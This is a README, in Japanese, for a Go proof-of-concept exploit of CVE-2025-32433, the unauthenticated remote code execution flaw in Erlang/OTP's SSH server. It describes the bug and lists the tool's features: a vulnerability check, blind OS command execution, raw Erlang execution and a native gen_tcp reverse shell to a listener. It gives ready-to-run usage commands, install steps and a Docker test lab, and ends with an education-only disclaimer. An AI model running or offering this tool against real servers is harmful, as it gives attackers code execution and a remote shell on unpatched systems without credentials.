📜 説明

CVE-2025-32433 は、Erlang/OTP の SSH サーバにおける、認証不要のリモートコード実行の重大な脆弱性です。パッチ適用前のバージョンでは、SSH デーモンが認証完了前にチャネルメッセージを誤って処理してしまうため、攻撃者は資格情報を一切提供せずにチャネルを開き、exec リクエストを送信できます。Erlang/OTP の SSH サーバを組み込んでいるアプリケーション（Elixir、RabbitMQ、CouchDB など）は、SSH ポートが公開されている場合に影響を受けます。

この Go 製 PoC は、対象の SSH ポートに接続し、細工された SSH_MSG_CHANNEL_OPEN とそれに続く SSH_MSG_CHANNEL_REQUEST exec ペイロードを送信します（すべて認証前の段階）。これにより、リモートの Erlang ノードが任意の OS コマンドを実行します。実行結果は blind（ブラインド） であり、コマンドの出力は攻撃者に返りません。

影響を受けるバージョン: Erlang/OTP < 27.3.3、< 26.2.5.11、< 25.3.2.20

✨ 機能

脆弱性確認 — 対象が脆弱かどうかを調査してから攻撃を実行
コマンド実行 — bash -c を介して OS コマンドを実行（自動的に Erlang の os:cmd でラップ）
生の Erlang 実行 — シェルラッパーなしで任意の Erlang 式を直接送信
リバースシェル — bash や /dev/tcp に依存しないネイティブな gen_tcp リバースシェルを展開
IPv6 対応 — IPv4 と IPv6 の両方に対応
依存関係なし — 単一バイナリ、Go 標準ライブラリのみ使用

🛠️ インストール

macOS、Linux、Windows 向けのプリビルドバイナリは Releases ページから入手できます。プラットフォームに合ったバイナリをダウンロードしてそのまま実行してください — Go のインストールは不要です。

ソースからビルドする場合:

[!NOTE] Go 1.21+ が必要です。外部依存関係はありません — Go 標準ライブラリのみ使用します。

OSX/Linux

git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433 cve-2025-32433.go

Windows

git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433.exe cve-2025-32433.go

Go で直接インストール

go install github.com/joshuavanderpoll/cve-2025-32433@latest

インストールせずに実行

go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 192.168.1.100 -port 22

⚙️ 使い方

Usage of ./cve-2025-32433:
  -host string
        対象の IP またはホスト名
  -port int
        SSH ポート (デフォルト: 22) (default 22)
  -timeout int
        接続タイムアウト (秒) (デフォルト: 5) (default 5)
  -command string
        対象上で実行するシェルコマンド (os:cmd でラップされます)
  -code string
        対象上で実行する生の Erlang 式
  -shell
        Erlang ネイティブの gen_tcp リバースシェルを送信
  -lhost string
        リバースシェル用のリスナー IP (-shell と併用必須)
  -lport int
        リバースシェル用のリスナーポート (デフォルト: 4444)

対象が脆弱かどうかを確認

./cve-2025-32433 -host 127.0.0.1 -port 2222

脆弱性確認例

コマンド実行

./cve-2025-32433 -host 127.0.0.1 -port 2222 -command 'whoami > /tmp/out2.txt'

コマンド実行例

リバースシェル

-shell フラグは、ネイティブの Erlang gen_tcp リバースシェルペイロードを送信します — bash や /dev/tcp は不要です。まずリスナーを起動し、その後エクスプロイトを送信します。

./cve-2025-32433 -host 127.0.0.1 -port 2222 -shell -lhost host.docker.internal -lport 4444

リバースシェル例

コード実行

-code フラグは、生の Erlang 式を直接送信します — bash -c ラッパーは使用しません。純粋な Erlang 操作や、対象で bash が利用できない場合に便利です。実行結果はブラインドのため、出力をファイルに書き込んで別途取得してください。

./cve-2025-32433 -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).'

コード実行例

🐋 Docker PoC

詳細は docker/DOCKER.md をご覧ください

cd docker/
docker compose down
docker compose up -d
# テストは -host 127.0.0.1 -port 2222 で行えます

🕵🏼 参考情報

📢 免責事項

このツールは教育および研究目的でのみ提供されています。作成者は、本ツールの誤用またはそれによって生じた損害について一切の責任を負いません。

cve-2025-32433

人気

Erlang/OTP SSH 認証不要のBlind RCE (CVE-2025-32433) PoC